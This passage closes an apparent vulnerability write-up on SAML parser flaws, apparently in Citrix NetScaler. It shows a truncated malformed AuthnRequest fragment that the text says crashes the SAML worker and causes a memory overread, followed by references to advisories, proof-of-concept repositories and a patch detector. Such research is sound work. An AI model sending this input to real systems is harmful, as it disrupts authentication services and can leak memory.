    539 ```xml
    540 <samlp:AuthnRequest ID=
    541 ```
    542 
    543 The same parser weakness that gives an overread can also crash the SAML processing worker.
    544 
    545 ## References
    546 
    547 - [1] [Securing XML implementations across the web](https://mattermost.com/blog/securing-xml-implementations-across-the-web/)
    548 - [2] [SAML is insecure by design](https://joonas.fi/2021/08/saml-is-insecure-by-design/)
    549 - [3] [How to Test SAML: A Methodology (Part Two)](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/)
    550 - [4] [On Breaking SAML: Be Whoever You Want to Be](https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf)
    551 - [5] [ruby-saml Security Advisory GHSA-jw9c-mfg7-9rx2 (CVE-2024-45409)](https://github.com/SAML-Toolkits/ruby-saml/security/advisories/GHSA-jw9c-mfg7-9rx2)
    552 - [6] [HTB: Barrier](https://0xdf.gitlab.io/2026/03/03/htb-barrier.html)
    553 - [7] [synacktiv/CVE-2024-45409 PoC](https://github.com/synacktiv/CVE-2024-45409)
    554 - [8] [How to Test SAML: A Methodology (Part Three)](https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/)
    555 - [9] [How I discovered XSS that affects over 20 Uber subdomains](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/)
    556 - [10] [Is it CitrixBleed4? Well no. Is it good? Also no. Citrix NetScaler’s Memory Leak & rXSS (CVE-2025-12101)](https://labs.watchtowr.com/is-it-citrixbleed4-well-no-is-it-good-also-no-citrix-netscalers-memory-leak-rxss-cve-2025-12101/)
    557 - [11] [CitrixBleed To Infinity And Beyond: Citrix NetScaler Pre-Auth Memory Overread CVE-2026-8451](https://labs.watchtowr.com/citrixbleed-to-infinity-and-beyond-citrix-netscaler-pre-auth-memory-overread-cve-2026-8451/)
    558 - [12] [watchTowr-vs-Netscaler-CVE-2026-8451](https://github.com/watchtowrlabs/watchTowr-vs-Netscaler-CVE-2026-8451)
    559 - [13] [Pwn2Own Ireland 2025: Bypassing Authentication via Synology DS925+ SAML SSO](https://chanzep.github.io/posts/pwn2own-ireland-2025-bypassing-authentication-via-synology-ds925-saml-sso)
    560 - [14] [How to test SAML: a methodology (part one)](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/)
    561 - [15] [youtube.com - Watch](https://www.youtube.com/watch?v=WHn-6xHL7mI)
    562 - [16] [You’re Back In The Room (Citrix NetScaler Pre-Auth RCE CVE-2026-8452)](https://labs.watchtowr.com/youre-back-in-the-room-citrix-netscaler-pre-auth-rce-cve-2026-8452/)
    563 - [17] [No Crash Required: Verifying the Citrix NetScaler SAML Patch for CVE-2026-8452](https://bishopfox.com/blog/no-crash-required-verifying-the-citrix-netscaler-saml-patch-for-cve-2026-8452)
    564 - [18] [BishopFox CVE-2026-8452 patch-state detector](https://github.com/BishopFox/CVE-2026-8452-check)